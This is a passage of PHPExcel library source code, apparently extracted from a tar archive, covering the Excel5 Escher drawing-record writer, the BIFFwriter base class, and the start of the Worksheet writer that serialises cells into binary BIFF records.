$this->object->getDggContainer()) { $writer = new PHPExcel_Writer_Excel5_Escher($dggContainer); $this->data = $writer->close(); } elseif ($dgContainer = $this->object->getDgContainer()) { $writer = new PHPExcel_Writer_Excel5_Escher($dgContainer); $this->data = $writer->close(); $this->spOffsets = $writer->getSpOffsets(); $this->spTypes = $writer->getSpTypes(); } break; case 'PHPExcel_Shared_Escher_DggContainer': // this is a container record // initialize $innerData = ''; // write the dgg $recVer = 0x0; $recInstance = 0x0000; $recType = 0xF006; $recVerInstance = $recVer; $recVerInstance |= $recInstance << 4; // dgg data $dggData = pack( 'VVVV', $this->object->getSpIdMax(), // maximum shape identifier increased by one $this->object->getCDgSaved() + 1, // number of file identifier clusters increased by one $this->object->getCSpSaved(), $this->object->getCDgSaved() // count total number of drawings saved ); // add file identifier clusters (one per drawing) $IDCLs = $this->object->getIDCLs(); foreach ($IDCLs as $dgId => $maxReducedSpId) { $dggData .= pack('VV', $dgId, $maxReducedSpId + 1); } $header = pack('vvV', $recVerInstance, $recType, strlen($dggData)); $innerData .= $header . $dggData; // write the bstoreContainer if ($bstoreContainer = $this->object->getBstoreContainer()) { $writer = new PHPExcel_Writer_Excel5_Escher($bstoreContainer); $innerData .= $writer->close(); } // write the record $recVer = 0xF; $recInstance = 0x0000; $recType = 0xF000; $length = strlen($innerData); $recVerInstance = $recVer; $recVerInstance |= $recInstance << 4; $header = pack('vvV', $recVerInstance, $recType, $length); $this->data = $header . $innerData; break; case 'PHPExcel_Shared_Escher_DggContainer_BstoreContainer': // this is a container record // initialize $innerData = ''; // treat the inner data if ($BSECollection = $this->object->getBSECollection()) { foreach ($BSECollection as $BSE) { $writer = new PHPExcel_Writer_Excel5_Escher($BSE); $innerData .= $writer->close(); } } // write the record $recVer = 0xF; $recInstance = count($this->object->getBSECollection()); $recType = 0xF001; $length = strlen($innerData); $recVerInstance = $recVer; $recVerInstance |= $recInstance << 4; $header = pack('vvV', $recVerInstance, $recType, $length); $this->data = $header . $innerData; break; case 'PHPExcel_Shared_Escher_DggContainer_BstoreContainer_BSE': // this is a semi-container record // initialize $innerData = ''; // here we treat the inner data if ($blip = $this->object->getBlip()) { $writer = new PHPExcel_Writer_Excel5_Escher($blip); $innerData .= $writer->close(); } // initialize $data = ''; $btWin32 = $this->object->getBlipType(); $btMacOS = $this->object->getBlipType(); $data .= pack('CC', $btWin32, $btMacOS); $rgbUid = pack('VVVV', 0, 0, 0, 0); // todo $data .= $rgbUid; $tag = 0; $size = strlen($innerData); $cRef = 1; $foDelay = 0; //todo $unused1 = 0x0; $cbName = 0x0; $unused2 = 0x0; $unused3 = 0x0; $data .= pack('vVVVCCCC', $tag, $size, $cRef, $foDelay, $unused1, $cbName, $unused2, $unused3); $data .= $innerData; // write the record $recVer = 0x2; $recInstance = $this->object->getBlipType(); $recType = 0xF007; $length = strlen($data); $recVerInstance = $recVer; $recVerInstance |= $recInstance << 4; $header = pack('vvV', $recVerInstance, $recType, $length); $this->data = $header; $this->data .= $data; break; case 'PHPExcel_Shared_Escher_DggContainer_BstoreContainer_BSE_Blip': // this is an atom record // write the record switch ($this->object->getParent()->getBlipType()) { case PHPExcel_Shared_Escher_DggContainer_BstoreContainer_BSE::BLIPTYPE_JPEG: // initialize $innerData = ''; $rgbUid1 = pack('VVVV', 0, 0, 0, 0); // todo $innerData .= $rgbUid1; $tag = 0xFF; // todo $innerData .= pack('C', $tag); $innerData .= $this->object->getData(); $recVer = 0x0; $recInstance = 0x46A; $recType = 0xF01D; $length = strlen($innerData); $recVerInstance = $recVer; $recVerInstance |= $recInstance << 4; $header = pack('vvV', $recVerInstance, $recType, $length); $this->data = $header; $this->data .= $innerData; break; case PHPExcel_Shared_Escher_DggContainer_BstoreContainer_BSE::BLIPTYPE_PNG: // initialize $innerData = ''; $rgbUid1 = pack('VVVV', 0, 0, 0, 0); // todo $innerData .= $rgbUid1; $tag = 0xFF; // todo $innerData .= pack('C', $tag); $innerData .= $this->object->getData(); $recVer = 0x0; $recInstance = 0x6E0; $recType = 0xF01E; $length = strlen($innerData); $recVerInstance = $recVer; $recVerInstance |= $recInstance << 4; $header = pack('vvV', $recVerInstance, $recType, $length); $this->data = $header; $this->data .= $innerData; break; } break; case 'PHPExcel_Shared_Escher_DgContainer': // this is a container record // initialize $innerData = ''; // write the dg $recVer = 0x0; $recInstance = $this->object->getDgId(); $recType = 0xF008; $length = 8; $recVerInstance = $recVer; $recVerInstance |= $recInstance << 4; $header = pack('vvV', $recVerInstance, $recType, $length); // number of shapes in this drawing (including group shape) $countShapes = count($this->object->getSpgrContainer()->getChildren()); $innerData .= $header . pack('VV', $countShapes, $this->object->getLastSpId()); //$innerData .= $header . pack('VV', 0, 0); // write the spgrContainer if ($spgrContainer = $this->object->getSpgrContainer()) { $writer = new PHPExcel_Writer_Excel5_Escher($spgrContainer); $innerData .= $writer->close(); // get the shape offsets relative to the spgrContainer record $spOffsets = $writer->getSpOffsets(); $spTypes = $writer->getSpTypes(); // save the shape offsets relative to dgContainer foreach ($spOffsets as & $spOffset) { $spOffset += 24; // add length of dgContainer header data (8 bytes) plus dg data (16 bytes) } $this->spOffsets = $spOffsets; $this->spTypes = $spTypes; } // write the record $recVer = 0xF; $recInstance = 0x0000; $recType = 0xF002; $length = strlen($innerData); $recVerInstance = $recVer; $recVerInstance |= $recInstance << 4; $header = pack('vvV', $recVerInstance, $recType, $length); $this->data = $header . $innerData; break; case 'PHPExcel_Shared_Escher_DgContainer_SpgrContainer': // this is a container record // initialize $innerData = ''; // initialize spape offsets $totalSize = 8; $spOffsets = array(); $spTypes = array(); // treat the inner data foreach ($this->object->getChildren() as $spContainer) { $writer = new PHPExcel_Writer_Excel5_Escher($spContainer); $spData = $writer->close(); $innerData .= $spData; // save the shape offsets (where new shape records begin) $totalSize += strlen($spData); $spOffsets[] = $totalSize; $spTypes = array_merge($spTypes, $writer->getSpTypes()); } // write the record $recVer = 0xF; $recInstance = 0x0000; $recType = 0xF003; $length = strlen($innerData); $recVerInstance = $recVer; $recVerInstance |= $recInstance << 4; $header = pack('vvV', $recVerInstance, $recType, $length); $this->data = $header . $innerData; $this->spOffsets = $spOffsets; $this->spTypes = $spTypes; break; case 'PHPExcel_Shared_Escher_DgContainer_SpgrContainer_SpContainer': // initialize $data = ''; // build the data // write group shape record, if necessary? if ($this->object->getSpgr()) { $recVer = 0x1; $recInstance = 0x0000; $recType = 0xF009; $length = 0x00000010; $recVerInstance = $recVer; $recVerInstance |= $recInstance << 4; $header = pack('vvV', $recVerInstance, $recType, $length); $data .= $header . pack('VVVV', 0, 0, 0, 0); } $this->spTypes[] = ($this->object->getSpType()); // write the shape record $recVer = 0x2; $recInstance = $this->object->getSpType(); // shape type $recType = 0xF00A; $length = 0x00000008; $recVerInstance = $recVer; $recVerInstance |= $recInstance << 4; $header = pack('vvV', $recVerInstance, $recType, $length); $data .= $header . pack('VV', $this->object->getSpId(), $this->object->getSpgr() ? 0x0005 : 0x0A00); // the options if ($this->object->getOPTCollection()) { $optData = ''; $recVer = 0x3; $recInstance = count($this->object->getOPTCollection()); $recType = 0xF00B; foreach ($this->object->getOPTCollection() as $property => $value) { $optData .= pack('vV', $property, $value); } $length = strlen($optData); $recVerInstance = $recVer; $recVerInstance |= $recInstance << 4; $header = pack('vvV', $recVerInstance, $recType, $length); $data .= $header . $optData; } // the client anchor if ($this->object->getStartCoordinates()) { $clientAnchorData = ''; $recVer = 0x0; $recInstance = 0x0; $recType = 0xF010; // start coordinates list($column, $row) = PHPExcel_Cell::coordinateFromString($this->object->getStartCoordinates()); $c1 = PHPExcel_Cell::columnIndexFromString($column) - 1; $r1 = $row - 1; // start offsetX $startOffsetX = $this->object->getStartOffsetX(); // start offsetY $startOffsetY = $this->object->getStartOffsetY(); // end coordinates list($column, $row) = PHPExcel_Cell::coordinateFromString($this->object->getEndCoordinates()); $c2 = PHPExcel_Cell::columnIndexFromString($column) - 1; $r2 = $row - 1; // end offsetX $endOffsetX = $this->object->getEndOffsetX(); // end offsetY $endOffsetY = $this->object->getEndOffsetY(); $clientAnchorData = pack('vvvvvvvvv', $this->object->getSpFlag(), $c1, $startOffsetX, $r1, $startOffsetY, $c2, $endOffsetX, $r2, $endOffsetY); $length = strlen($clientAnchorData); $recVerInstance = $recVer; $recVerInstance |= $recInstance << 4; $header = pack('vvV', $recVerInstance, $recType, $length); $data .= $header . $clientAnchorData; } // the client data, just empty for now if (!$this->object->getSpgr()) { $clientDataData = ''; $recVer = 0x0; $recInstance = 0x0; $recType = 0xF011; $length = strlen($clientDataData); $recVerInstance = $recVer; $recVerInstance |= $recInstance << 4; $header = pack('vvV', $recVerInstance, $recType, $length); $data .= $header . $clientDataData; } // write the record $recVer = 0xF; $recInstance = 0x0000; $recType = 0xF004; $length = strlen($data); $recVerInstance = $recVer; $recVerInstance |= $recInstance << 4; $header = pack('vvV', $recVerInstance, $recType, $length); $this->data = $header . $data; break; } return $this->data; } /** * Gets the shape offsets * * @return array */ public function getSpOffsets() { return $this->spOffsets; } /** * Gets the shape types * * @return array */ public function getSpTypes() { return $this->spTypes; } } PHPExcel/Writer/Excel5/BIFFwriter.php 0000644 00000020235 14642534110 0013233 0 ustar 00 <?php /** * PHPExcel_Writer_Excel5_BIFFwriter * * Copyright (c) 2006 - 2015 PHPExcel * * This library is free software; you can redistribute it and/or * modify it under the terms of the GNU Lesser General Public * License as published by the Free Software Foundation; either * version 2.1 of the License, or (at your option) any later version. * * This library is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU * Lesser General Public License for more details. * * You should have received a copy of the GNU Lesser General Public * License along with this library; if not, write to the Free Software * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA * * @category PHPExcel * @package PHPExcel_Writer_Excel5 * @copyright Copyright (c) 2006 - 2015 PHPExcel (http://www.codeplex.com/PHPExcel) * @license http://www.gnu.org/licenses/old-licenses/lgpl-2.1.txt LGPL * @version ##VERSION##, ##DATE## */ // Original file header of PEAR::Spreadsheet_Excel_Writer_BIFFwriter (used as the base for this class): // ----------------------------------------------------------------------------------------- // * Module written/ported by Xavier Noguer <xnoguer@rezebra.com> // * // * The majority of this is _NOT_ my code. I simply ported it from the // * PERL Spreadsheet::WriteExcel module. // * // * The author of the Spreadsheet::WriteExcel module is John McNamara // * <jmcnamara@cpan.org> // * // * I _DO_ maintain this code, and John McNamara has nothing to do with the // * porting of this code to PHP. Any questions directly related to this // * class library should be directed to me. // * // * License Information: // * // * Spreadsheet_Excel_Writer: A library for generating Excel Spreadsheets // * Copyright (c) 2002-2003 Xavier Noguer xnoguer@rezebra.com // * // * This library is free software; you can redistribute it and/or // * modify it under the terms of the GNU Lesser General Public // * License as published by the Free Software Foundation; either // * version 2.1 of the License, or (at your option) any later version. // * // * This library is distributed in the hope that it will be useful, // * but WITHOUT ANY WARRANTY; without even the implied warranty of // * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU // * Lesser General Public License for more details. // * // * You should have received a copy of the GNU Lesser General Public // * License along with this library; if not, write to the Free Software // * Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA // */ class PHPExcel_Writer_Excel5_BIFFwriter { /** * The byte order of this architecture. 0 => little endian, 1 => big endian * @var integer */ private static $byteOrder; /** * The string containing the data of the BIFF stream * @var string */ public $_data; /** * The size of the data in bytes. Should be the same as strlen($this->_data) * @var integer */ public $_datasize; /** * The maximum length for a BIFF record (excluding record header and length field). See addContinue() * @var integer * @see addContinue() */ private $limit = 8224; /** * Constructor */ public function __construct() { $this->_data = ''; $this->_datasize = 0; // $this->limit = 8224; } /** * Determine the byte order and store it as class data to avoid * recalculating it for each call to new(). * * @return int */ public static function getByteOrder() { if (!isset(self::$byteOrder)) { // Check if "pack" gives the required IEEE 64bit float $teststr = pack("d", 1.2345); $number = pack("C8", 0x8D, 0x97, 0x6E, 0x12, 0x83, 0xC0, 0xF3, 0x3F); if ($number == $teststr) { $byte_order = 0; // Little Endian } elseif ($number == strrev($teststr)) { $byte_order = 1; // Big Endian } else { // Give up. I'll fix this in a later version. throw new PHPExcel_Writer_Exception("Required floating point format not supported on this platform."); } self::$byteOrder = $byte_order; } return self::$byteOrder; } /** * General storage function * * @param string $data binary data to append * @access private */ protected function append($data) { if (strlen($data) - 4 > $this->limit) { $data = $this->addContinue($data); } $this->_data .= $data; $this->_datasize += strlen($data); } /** * General storage function like append, but returns string instead of modifying $this->_data * * @param string $data binary data to write * @return string */ public function writeData($data) { if (strlen($data) - 4 > $this->limit) { $data = $this->addContinue($data); } $this->_datasize += strlen($data); return $data; } /** * Writes Excel BOF record to indicate the beginning of a stream or * sub-stream in the BIFF file. * * @param integer $type Type of BIFF file to write: 0x0005 Workbook, * 0x0010 Worksheet. * @access private */ protected function storeBof($type) { $record = 0x0809; // Record identifier (BIFF5-BIFF8) $length = 0x0010; // by inspection of real files, MS Office Excel 2007 writes the following $unknown = pack("VV", 0x000100D1, 0x00000406); $build = 0x0DBB; // Excel 97 $year = 0x07CC; // Excel 97 $version = 0x0600; // BIFF8 $header = pack("vv", $record, $length); $data = pack("vvvv", $version, $type, $build, $year); $this->append($header . $data . $unknown); } /** * Writes Excel EOF record to indicate the end of a BIFF stream. * * @access private */ protected function storeEof() { $record = 0x000A; // Record identifier $length = 0x0000; // Number of bytes to follow $header = pack("vv", $record, $length); $this->append($header); } /** * Writes Excel EOF record to indicate the end of a BIFF stream. * * @access private */ public function writeEof() { $record = 0x000A; // Record identifier $length = 0x0000; // Number of bytes to follow $header = pack("vv", $record, $length); return $this->writeData($header); } /** * Excel limits the size of BIFF records. In Excel 5 the limit is 2084 bytes. In * Excel 97 the limit is 8228 bytes. Records that are longer than these limits * must be split up into CONTINUE blocks. * * This function takes a long BIFF record and inserts CONTINUE records as * necessary. * * @param string $data The original binary data to be written * @return string A very convenient string of continue blocks * @access private */ private function addContinue($data) { $limit = $this->limit; $record = 0x003C; // Record identifier // The first 2080/8224 bytes remain intact. However, we have to change // the length field of the record. $tmp = substr($data, 0, 2) . pack("v", $limit) . substr($data, 4, $limit); $header = pack("vv", $record, $limit); // Headers for continue records // Retrieve chunks of 2080/8224 bytes +4 for the header. $data_length = strlen($data); for ($i = $limit + 4; $i < ($data_length - $limit); $i += $limit) { $tmp .= $header; $tmp .= substr($data, $i, $limit); } // Retrieve the last chunk of data $header = pack("vv", $record, strlen($data) - $i); $tmp .= $header; $tmp .= substr($data, $i, strlen($data) - $i); return $tmp; } } PHPExcel/Writer/Excel5/Worksheet.php 0000644 00000471225 14642534110 0013254 0 ustar 00 <?php /** * PHPExcel_Writer_Excel5_Worksheet * * Copyright (c) 2006 - 2015 PHPExcel * * This library is free software; you can redistribute it and/or * modify it under the terms of the GNU Lesser General Public * License as published by the Free Software Foundation; either * version 2.1 of the License, or (at your option) any later version. * * This library is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU * Lesser General Public License for more details. * * You should have received a copy of the GNU Lesser General Public * License along with this library; if not, write to the Free Software * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA * * @category PHPExcel * @package PHPExcel_Writer_Excel5 * @copyright Copyright (c) 2006 - 2015 PHPExcel (http://www.codeplex.com/PHPExcel) * @license http://www.gnu.org/licenses/old-licenses/lgpl-2.1.txt LGPL * @version ##VERSION##, ##DATE## */ // Original file header of PEAR::Spreadsheet_Excel_Writer_Worksheet (used as the base for this class): // ----------------------------------------------------------------------------------------- // /* // * Module written/ported by Xavier Noguer <xnoguer@rezebra.com> // * // * The majority of this is _NOT_ my code. I simply ported it from the // * PERL Spreadsheet::WriteExcel module. // * // * The author of the Spreadsheet::WriteExcel module is John McNamara // * <jmcnamara@cpan.org> // * // * I _DO_ maintain this code, and John McNamara has nothing to do with the // * porting of this code to PHP. Any questions directly related to this // * class library should be directed to me. // * // * License Information: // * // * Spreadsheet_Excel_Writer: A library for generating Excel Spreadsheets // * Copyright (c) 2002-2003 Xavier Noguer xnoguer@rezebra.com // * // * This library is free software; you can redistribute it and/or // * modify it under the terms of the GNU Lesser General Public // * License as published by the Free Software Foundation; either // * version 2.1 of the License, or (at your option) any later version. // * // * This library is distributed in the hope that it will be useful, // * but WITHOUT ANY WARRANTY; without even the implied warranty of // * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU // * Lesser General Public License for more details. // * // * You should have received a copy of the GNU Lesser General Public // * License along with this library; if not, write to the Free Software // * Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA // */ class PHPExcel_Writer_Excel5_Worksheet extends PHPExcel_Writer_Excel5_BIFFwriter { /** * Formula parser * * @var PHPExcel_Writer_Excel5_Parser */ private $parser; /** * Maximum number of characters for a string (LABEL record in BIFF5) * @var integer */ private $xlsStringMaxLength; /** * Array containing format information for columns * @var array */ private $columnInfo; /** * Array containing the selected area for the worksheet * @var array */ private $selection; /** * The active pane for the worksheet * @var integer */ private $activePane; /** * Whether to use outline. * @var integer */ private $outlineOn; /** * Auto outline styles. * @var bool */ private $outlineStyle; /** * Whether to have outline summary below. * @var bool */ private $outlineBelow; /** * Whether to have outline summary at the right. * @var bool */ private $outlineRight; /** * Reference to the total number of strings in the workbook * @var integer */ private $stringTotal; /** * Reference to the number of unique strings in the workbook * @var integer */ private $stringUnique; /** * Reference to the array containing all the unique strings in the workbook * @var array */ private $stringTable; /** * Color cache */ private $colors; /** * Index of first used row (at least 0) * @var int */ private $firstRowIndex; /** * Index of last used row. (no used rows means -1) * @var int */ private $lastRowIndex; /** * Index of first used column (at least 0) * @var int */ private $firstColumnIndex; /** * Index of last used column (no used columns means -1) * @var int */ private $lastColumnIndex; /** * Sheet object * @var PHPExcel_Worksheet */ public $phpSheet; /** * Count cell style Xfs * * @var int */ private $countCellStyleXfs; /** * Escher object corresponding to MSODRAWING * * @var PHPExcel_Shared_Escher */ private $escher; /** * Array of font hashes associated to FONT records index * * @var array */ public $fontHashIndex; /** * Constructor * * @param int &$str_total Total number of strings * @param int &$str_unique Total number of unique strings * @param array &$str_table String Table * @param array &$colors Colour Table * @param mixed $parser The formula parser created for the Workbook * @param boolean $preCalculateFormulas Flag indicating whether formulas should be calculated or just written * @param string $phpSheet The worksheet to write * @param PHPExcel_Worksheet $phpSheet */ public function __construct(&$str_total, &$str_unique, &$str_table, &$colors, $parser, $preCalculateFormulas, $phpSheet) { // It needs to call its parent's constructor explicitly parent::__construct(); // change BIFFwriter limit for CONTINUE records // $this->_limit = 8224; $this->_preCalculateFormulas = $preCalculateFormulas; $this->stringTotal = &$str_total; $this->stringUnique = &$str_unique; $this->stringTable = &$str_table; $this->colors = &$colors; $this->parser = $parser; $this->phpSheet = $phpSheet; //$this->ext_sheets = array(); //$this->offset = 0; $this->xlsStringMaxLength = 255; $this->columnInfo = array(); $this->selection = array(0,0,0,0); $this->activePane = 3; $this->_print_headers = 0; $this->outlineStyle = 0; $this->outlineBelow = 1; $this->outlineRight = 1; $this->outlineOn = 1; $this->fontHashIndex = array(); // calculate values for DIMENSIONS record $minR = 1; $minC = 'A'; $maxR = $this->phpSheet->getHighestRow(); $maxC = $this->phpSheet->getHighestColumn(); // Determine lowest and highest column and row // $this->firstRowIndex = ($minR > 65535) ? 65535 : $minR; $this->lastRowIndex = ($maxR > 65535) ? 65535 : $maxR ; $this->firstColumnIndex = PHPExcel_Cell::columnIndexFromString($minC); $this->lastColumnIndex = PHPExcel_Cell::columnIndexFromString($maxC); // if ($this->firstColumnIndex > 255) $this->firstColumnIndex = 255; if ($this->lastColumnIndex > 255) { $this->lastColumnIndex = 255; } $this->countCellStyleXfs = count($phpSheet->getParent()->getCellStyleXfCollection()); } /** * Add data to the beginning of the workbook (note the reverse order) * and to the end of the workbook. * * @access public * @see PHPExcel_Writer_Excel5_Workbook::storeWorkbook() */ public function close() { $phpSheet = $this->phpSheet; $num_sheets = $phpSheet->getParent()->getSheetCount(); // Write BOF record $this->storeBof(0x0010); // Write PRINTHEADERS $this->writePrintHeaders(); // Write PRINTGRIDLINES $this->writePrintGridlines(); // Write GRIDSET $this->writeGridset(); // Calculate column widths $phpSheet->calculateColumnWidths(); // Column dimensions if (($defaultWidth = $phpSheet->getDefaultColumnDimension()->getWidth()) < 0) { $defaultWidth = PHPExcel_Shared_Font::getDefaultColumnWidthByFont($phpSheet->getParent()->getDefaultStyle()->getFont()); } $columnDimensions = $phpSheet->getColumnDimensions(); $maxCol = $this->lastColumnIndex -1; for ($i = 0; $i <= $maxCol; ++$i) { $hidden = 0; $level = 0; $xfIndex = 15; // there are 15 cell style Xfs $width = $defaultWidth; $columnLetter = PHPExcel_Cell::stringFromColumnIndex($i); if (isset($columnDimensions[$columnLetter])) { $columnDimension = $columnDimensions[$columnLetter]; if ($columnDimension->getWidth() >= 0) { $width = $columnDimension->getWidth(); } $hidden = $columnDimension->getVisible() ? 0 : 1; $level = $columnDimension->getOutlineLevel(); $xfIndex = $columnDimension->getXfIndex() + 15; // there are 15 cell style Xfs } // Components of columnInfo: // $firstcol first column on the range // $lastcol last column on the range // $width width to set // $xfIndex The optional cell style Xf index to apply to the columns // $hidden The optional hidden atribute // $level The optional outline level $this->columnInfo[] = array($i, $i, $width, $xfIndex, $hidden, $level); } // Write GUTS $this->writeGuts(); // Write DEFAULTROWHEIGHT $this->writeDefaultRowHeight(); // Write WSBOOL $this->writeWsbool(); // Write horizontal and vertical page breaks $this->writeBreaks(); // Write page header $this->writeHeader(); // Write page footer $this->writeFooter(); // Write page horizontal centering $this->writeHcenter(); // Write page vertical centering $this->writeVcenter(); // Write left margin $this->writeMarginLeft(); // Write right margin $this->writeMarginRight(); // Write top margin $this->writeMarginTop(); // Write bottom margin $this->writeMarginBottom(); // Write page setup $this->writeSetup(); // Write sheet protection $this->writeProtect(); // Write SCENPROTECT $this->writeScenProtect(); // Write OBJECTPROTECT $this->writeObjectProtect(); // Write sheet password $this->writePassword(); // Write DEFCOLWIDTH record $this->writeDefcol(); // Write the COLINFO records if they exist if (!empty($this->columnInfo)) { $colcount = count($this->columnInfo); for ($i = 0; $i < $colcount; ++$i) { $this->writeColinfo($this->columnInfo[$i]); } } $autoFilterRange = $phpSheet->getAutoFilter()->getRange(); if (!empty($autoFilterRange)) { // Write AUTOFILTERINFO $this->writeAutoFilterInfo(); } // Write sheet dimensions $this->writeDimensions(); // Row dimensions foreach ($phpSheet->getRowDimensions() as $rowDimension) { $xfIndex = $rowDimension->getXfIndex() + 15; // there are 15 cellXfs $this->writeRow($rowDimension->getRowIndex() - 1, $rowDimension->getRowHeight(), $xfIndex, ($rowDimension->getVisible() ? '0' : '1'), $rowDimension->getOutlineLevel()); } // Write Cells foreach ($phpSheet->getCellCollection() as $cellID) { $cell = $phpSheet->getCell($cellID); $row = $cell->getRow() - 1; $column = PHPExcel_Cell::columnIndexFromString($cell->getColumn()) - 1; // Don't break Excel! // if ($row + 1 > 65536 or $column + 1 > 256) { if ($row > 65535 || $column > 255) { break; } // Write cell value $xfIndex = $cell->getXfIndex() + 15; // there are 15 cell style Xfs $cVal = $cell->getValue(); if ($cVal instanceof PHPExcel_RichText) { // $this->writeString($row, $column, $cVal->getPlainText(), $xfIndex); $arrcRun = array(); $str_len = PHPExcel_Shared_String::CountCharacters($cVal->getPlainText(), 'UTF-8'); $str_pos = 0; $elements = $cVal->getRichTextElements(); foreach ($elements as $element) { // FONT Index if ($element instanceof PHPExcel_RichText_Run) { $str_fontidx = $this->fontHashIndex[$element->getFont()->getHashCode()]; } else { $str_fontidx = 0; } $arrcRun[] = array('strlen' => $str_pos, 'fontidx' => $str_fontidx); // Position FROM $str_pos += PHPExcel_Shared_String::CountCharacters($element->getText(), 'UTF-8'); } $this->writeRichTextString($row, $column, $cVal->getPlainText(), $xfIndex, $arrcRun); } else { switch ($cell->getDatatype()) { case PHPExcel_Cell_DataType::TYPE_STRING: case PHPExcel_Cell_DataType::TYPE_NULL: if ($cVal === '' || $cVal === null) { $this->writeBlank($row, $column, $xfIndex); } else { $this->writeString($row, $column, $cVal, $xfIndex); } break; case PHPExcel_Cell_DataType::TYPE_NUMERIC: $this->writeNumber($row, $column, $cVal, $xfIndex); break; case PHPExcel_Cell_DataType::TYPE_FORMULA: $calculatedValue = $this->_preCalculateFormulas ? $cell->getCalculatedValue() : null; $this->writeFormula($row, $column, $cVal, $xfIndex, $calculatedValue); break; case PHPExcel_Cell_DataType::TYPE_BOOL: $this->writeBoolErr($row, $column, $cVal, 0, $xfIndex); break; case PHPExcel_Cell_DataType::TYPE_ERROR: $this->writeBoolErr($row, $column, self::mapErrorCode($cVal), 1, $xfIndex); break; } } } // Append $this->writeMsoDrawing(); // Write WINDOW2 record $this->writeWindow2(); // Write PLV record $this->writePageLayoutView(); // Write ZOOM record $this->writeZoom(); if ($phpSheet->getFreezePane()) { $this->writePanes(); } // Write SELECTION record $this->writeSelection(); // Write MergedCellsTable Record $this->writeMergedCells(); // Hyperlinks foreach ($phpSheet->getHyperLinkCollection() as $coordinate => $hyperlink) { list($column, $row) = PHPExcel_Cell::coordinateFromString($coordinate); $url = $hyperlink->getUrl(); if (strpos($url, 'sheet://') !== false) { // internal to current workbook $url = str_replace('sheet://', 'internal:', $url); } elseif (preg_match('/^(http:|https:|ftp:|mailto:)/', $url)) { // URL // $url = $url; } else { // external (local file) $url = 'external:' . $url; } $this->writeUrl($row - 1, PHPExcel_Cell::columnIndexFromString($column) - 1, $url); } $this->writeDataValidity(); $this->writeSheetLayout(); // Write SHEETPROTECTION record $this->writeSheetProtection(); $this->writeRangeProtection(); $arrConditionalStyles = $phpSheet->getConditionalStylesCollection(); if (!empty($arrConditionalStyles)) { $arrConditional = array(); // @todo CFRule & CFHeader // Write CFHEADER record $this->writeCFHeader(); // Write ConditionalFormattingTable records foreach ($arrConditionalStyles as $cellCoordinate => $conditionalStyles) { foreach ($conditionalStyles as $conditional) { if ($conditional->getConditionType() == PHPExcel_Style_Conditional::CONDITION_EXPRESSION || $conditional->getConditionType() == PHPExcel_Style_Conditional::CONDITION_CELLIS) { if (!in_array($conditional->getHashCode(), $arrConditional)) { $arrConditional[] = $conditional->getHashCode(); // Write CFRULE record $this->writeCFRule($conditional); } } } } } $this->storeEof(); } /** * Write a cell range address in BIFF8 * always fixed range * See section 2.5.14 in OpenOffice.org's Documentation of the Microsoft Excel File Format * * @param string $range E.g. 'A1' or 'A1:B6' * @return string Binary data */ private function writeBIFF8CellRangeAddressFixed($range = 'A1') { $explodes = explode(':', $range); // extract first cell, e.g. 'A1' $firstCell = $explodes[0]; // extract last cell, e.g. 'B6' if (count($explodes) == 1) { $lastCell = $firstCell; } else { $lastCell = $explodes[1]; } $firstCellCoordinates = PHPExcel_Cell::coordinateFromString($firstCell); // e.g. array(0, 1) $lastCellCoordinates = PHPExcel_Cell::coordinateFromString($lastCell); // e.g. array(1, 6) return pack('vvvv', $firstCellCoordinates[1] - 1, $lastCellCoordinates[1] - 1, PHPExcel_Cell::columnIndexFromString($firstCellCoordinates[0]) - 1, PHPExcel_Cell::columnIndexFromString($lastCellCoordinates[0]) - 1); } /** * Retrieves data from memory in one chunk, or from disk in $buffer * sized chunks. * * @return string The data */ public function getData() { $buffer = 4096; // Return data stored in memory if (isset($this->_data)) { $tmp = $this->_data; unset($this->_data); return $tmp; } // No data to return return false; } /** * Set the option to print the row and column headers on the printed page. * * @access public * @param integer $print Whether to print the headers or not. Defaults to 1 (print). */ public function printRowColHeaders($print = 1) { $this->_print_headers = $print; } /** * This method sets the properties for outlining and grouping. The defaults * correspond to Excel's defaults. * * @param bool $visible * @param bool $symbols_below * @param bool $symbols_right * @param bool $auto_style */ public function setOutline($visible = true, $symbols_below = true, $symbols_right = true, $auto_style = false) { $this->outlineOn = $visible; $this->outlineBelow = $symbols_below; $this->outlineRight = $symbols_right; $this->outlineStyle = $auto_style; // Ensure this is a boolean vale for Window2 if ($this->outlineOn) { $this->outlineOn = 1; } } /** * Write a double to the specified row and column (zero indexed). * An integer can be written as a double. Excel will display an * integer. $format is optional. * * Returns 0 : normal termination * -2 : row or column out of range * * @param integer $row Zero indexed row * @param integer $col Zero indexed column * @param float $num The number to write * @param mixed $xfIndex The optional XF format * @return integer */ private function writeNumber($row, $col, $num, $xfIndex) { $record = 0x0203; // Record identifier $length = 0x000E; // Number of bytes to follow $header = pack("vv", $record, $length); $data = pack("vvv", $row, $col, $xfIndex); $xl_double = pack("d", $num); if (self::getByteOrder()) { // if it's Big Endian $xl_double = strrev($xl_double); } $this->append($header.$data.$xl_double); return(0); } /** * Write a LABELSST record or a LABEL record. Which one depends on BIFF version * * @param int $row Row index (0-based) * @param int $col Column index (0-based) * @param string $str The string * @param int $xfIndex Index to XF record */ private function writeString($row, $col, $str, $xfIndex) { $this->writeLabelSst($row, $col, $str, $xfIndex); } /** * Write a LABELSST record or a LABEL record. Which one depends on BIFF version * It differs from writeString by the writing of rich text strings. * @param int $row Row index (0-based) * @param int $col Column index (0-based) * @param string $str The string * @param mixed $xfIndex The XF format index for the cell * @param array $arrcRun Index to Font record and characters beginning */ private function writeRichTextString($row, $col, $str, $xfIndex, $arrcRun) { $record = 0x00FD; // Record identifier $length = 0x000A; // Bytes to follow $str = PHPExcel_Shared_String::UTF8toBIFF8UnicodeShort($str, $arrcRun); /* check if string is already present */ if (!isset($this->stringTable[$str])) { $this->stringTable[$str] = $this->stringUnique++; } $this->stringTotal++; $header = pack('vv', $record, $length); $data = pack('vvvV', $row, $col, $xfIndex, $this->stringTable[$str]); $this->append($header.$data); } 